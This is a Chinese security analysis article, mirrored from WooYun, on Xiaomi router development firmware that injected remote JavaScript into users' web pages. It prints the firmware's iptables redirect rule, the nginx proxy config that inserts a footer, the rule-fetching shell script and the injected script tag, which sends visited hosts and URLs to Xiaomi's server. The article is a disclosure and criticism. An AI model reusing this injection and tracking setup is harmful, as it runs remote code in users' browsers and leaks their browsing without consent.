小米路由器劫持使用者瀏覽器事件回顧

wyzsk發表於2020-08-19
作者: lxj616 · 2015/06/29 14:50

0x00 概述


小米路由器開發版韌體(並非穩定版韌體,不會影響大多數使用者,如果你不明白這是什麼意思,它不會影響到你)使用駭客技術劫持使用者瀏覽器向使用者投送廣告,該技術在駭客界廣泛用於偷取使用者密碼甚至可能控制使用者電腦和手機,目前小米已經回應該事件,稱該事件為“藉機炒作惡意煽動”,並解釋“所謂的廣告”是友好的新功能提示。目前小米官方已經做出相應調整,該功能已經暫時失效。

ad

2015年6月初,有使用者舉報說最新開發版(2.3.31)的小米路由器韌體劫持了使用者瀏覽器,在使用者完全不知情的情況下向瀏覽器傳送廣告程式碼並執行,本文以官方提供下載的2.3.5版本進行程式碼分析,論證其功能的技術實現以及可能影響,並對照小米官方微博的宣告進行技術核對和解釋。

0x01 使用者舉報


在V2EX上由使用者反映在透過小米路由器瀏覽網頁時,網頁被注入了JS程式碼,而這段程式碼目前還只是被用來顯示廣告。 《小米路由器先劫持 http 錯誤碼, 現在又在部分網站新增小尾巴, 什麼節奏?》 這意味著你在完全不知情的前提下,你看到的所有內容其實都受小米路由器的控制,這段程式碼可以被用來顯示廣告,也可以偷取你的密碼,可以隨便修改任何網頁的內容來欺騙你,甚至如果你的瀏覽器有漏洞的話,小米路由器還可能會控制你的電腦或手機。

0x02 原理分析&程式碼分析


在程式碼分析之前概述一下:簡單說,他是一個路由器,你透過它來上網,你把資料先交給它,然後它才把資料透過網線送出你家,而小米路由器對你交給它的資料做了手腳,不僅看了,還修改了。 以下程式碼來自官方網站提供下載的2.3.5版本,使用binwalk解壓韌體fs,再分析得到的程式碼

http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin

下面為/lib/firewall/rr.loader第20行:

iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380

在轉發使用者資料包之前把所有rr_tb列表裡面目的為80埠的tcp資料包重定向至8380埠,這個是dnsmasq+ipset從小米伺服器上獲取的域名ip

下面為/etc/sysapihttpd/sysapihttpd.conf第384行:

miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
server {
    listen 8380;
    resolver localhost;
    location / {
        set $device_id "DEV_ID_STUB";
        set $rom_version "ROM_VERSION_STUB";
        set $hardware "DEV_MODEL_STUB";
        set $channel "CHANNEL_STUB";
        include "/tmp/rr/footer";
        miwifi_toolbar miwifi_toolbar_zone;
        proxy_pass $scheme://$host$request_uri;
        proxy_ignore_client_abort off;
        proxy_connect_timeout 30s;
        proxy_read_timeout 30s;
        proxy_send_timeout 30s;
        proxy_buffering off;
        proxy_set_header Accept-Encoding '';
        proxy_max_temp_file_size 0;
        proxy_set_header Host $http_host;
    }
}

其實sysapihttpd就是nginx,監聽8380埠,做了一個反向代理(用在本地相當於透明代理),插入了/tmp/rr/footer程式碼(RR_PATH_STUB),至於什麼是反向代理,請參考烏雲知識庫之前的文章《釣魚?這是反代理!》,那麼,這個/tmp/rr/footer是哪裡來的呢?

下面為/usr/bin/pull-req-rule第22行:

create_url() {
    local ts=${1:-0}
    local device_id=$(matool --method deviceID)
    local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
    local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
    local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
    local url="http://api.miwifi.com/rr/config"
    echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
}

extract_footer() {
    local footer_file="$rr_prefix/footer"
    local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
    echo "miwifi_toolbar_template \"$footer\";" > $footer_file
}

第一個函式是配置檔案的地址,第二個函式是將配置檔案中的廣告程式碼放進上文所說的檔案中 之後我們根據url的生成規則去看一眼這個config檔案:

http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

ts  1
footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
rule_count  0   0

我們可以清晰的看到,這段程式碼是載入了一個來自api.miwifi.com的js程式碼檔案,換句話說,這個檔案裡的程式碼你會無條件的直接執行,無論它是偷密碼的,還是發廣告的。 而規則已經被小米官方清空,這也意味著不再向任何域名投放廣告,但是這僅僅意味著小米伺服器指示你的路由器不再JS注入,但小米可以任意時間透過修改這個api.miwifi.com上的控制檔案來重新指示你的路由器做JS注入,而你到時候完全不會知道發生了什麼

而在小米作出相應調整之前,有網友記錄的config檔案內容為(原地址http://pastebin.com/4t7eKNsA):

ts      1434688147041
footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
hannel=${channel}\"></script></body></html>
exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
rule_count      845     845
rule    67a.cn  1       0
w_rule  /       *       l       t
rule    lizhidy.com     1       0
w_rule  /       *       l       t
rule    hacg.be 1       0
w_rule  /       *       l       t
…………………省略……………………

這裡的rule是指投放JS程式碼的域名列表,只要在這個列表裡,訪問時就會注入JS,形象的比喻:小米具有定向打擊的能力,它能在任意時間,任意域名下給你投放任意程式碼,小米官方稱這只是友好的新功能提示,網上炒作都是惡意抹黑,然而現在顯而易見的是【小米對這段程式碼有絕對的控制權,友好不友好都是受小米控制的,程式碼內容是廣告還是木馬到頭來完全聽從小米的,而你上網時必須聽從這段程式碼指揮】 jsinj 該程式碼是一個動態程式碼,實時從小米官方伺服器上獲取指令執行,使用者無法干預該指令的執行,並且無法得知該指令的存在 00004 這就是所謂的廣告程式碼,小米對該程式碼有絕對控制權,可以在任意時間投放任意程式碼給使用者執行

0x03 到底廣告友好不友好


再看看上文小米路由器插入的廣告程式碼,不看不要緊,一看嚇一跳:

<script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>

host是你訪問的網站,uri是你訪問網站時瀏覽的頁面【以及你提交的GET查詢資料】,該資料可能包含你的賬號名稱、身份標識,換句話說就是你在網頁裡輸入的東西都有可能被髮往小米官方伺服器,你看到什麼,小米官方就能看到什麼。技術上講,你在訪問網頁時被跟蹤了,這段程式碼執行時不僅僅是顯示廣告,而且通俗的講就是把你瀏覽器位址列裡面的內容全都傳送到了小米伺服器上。

0003

從網友提供的圖片可以看到,網友正在瀏覽的網頁地址http://movie.douban.com/subject/25718082被小米路由器主動上交給了小米官方伺服器(因為該網頁並不包含特別機密資訊,且網友已經公開本圖片,請允許我在此公開該網頁地址,請該網友見諒,話說你咋喜歡看這種電影呢,嘻嘻嘻~)

0x04 總結


005

  1. 小米官方稱“開發版試水”情況屬實,並不會影響到正常使用穩定版的使用者
  2. 小米官方稱“已經作出相應調整”情況屬實,臨時取消JS注入域名清單(取消注入)
  3. 網友所說的JS注入情況屬實,並且並非靜態JS,而是小米伺服器上的動態JS
  4. 網友所說的瀏覽器劫持情況屬實,官方所說手機APP能夠關閉404頁面情況屬實,但是這個功能預設是開著的,需要手動關閉
  5. 小米官方稱“炒作”情況屬實,首先使用者在反饋時忘記註明是開發版韌體,因此使用的並不是普通使用者的穩定版功能,而媒體並沒有解釋“開發版”的含義,盲目大力渲染“劫持、注入”的危害,給使用者造成了片面印象,【小米對手動安裝了開發版韌體的無辜使用者做了劫持和JS注入,但還沒有在全國強推該計劃】
  6. 小米官方稱“友好的新功能提示”不實,該程式碼將使用者的瀏覽資訊上傳至小米伺服器(具體來說,你看的每一個網頁地址,某些情況下可能包含使用者名稱、密碼)
  7. 404頁面劫持會洩露使用者瀏覽的網頁地址情況屬實,但是一般來說這不會洩露個人隱私,另外404也有開關了,因此不再討論

個人觀點:小米路由器開發版設計的瀏覽器劫持、JS程式碼注入功能性質惡劣,嚴重侵犯了使用者的隱私權,甚至將來有可能借此入侵使用者的計算機與手機,並且所插入的JS程式碼確實將使用者的隱私資訊(瀏覽器訪問網站的地址及部分使用者輸入的內容)竊取至小米伺服器,已經可以定性為後門程式。然而開發版意味著該功能只是技術嘗試,並未給普通使用者造成實際影響,因此雖然性質惡劣但是目前影響並不大。我認為小米有意將木馬程式推送給全國使用者,暫時先在開發版裡試一下水,如果不被發現就繼續這麼幹下去了,現在被發現之後輕描淡寫稱開發版是逗你們玩兒的。想起之前大量discuz論壇被黑的事件,域名被劫持加上惡意程式碼,導致使用discuz論壇的站長在登入後臺之後執行了惡意程式碼自己論壇被黑:http://tech.163.com/09/0108/15/4V55DUGA000915BF.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章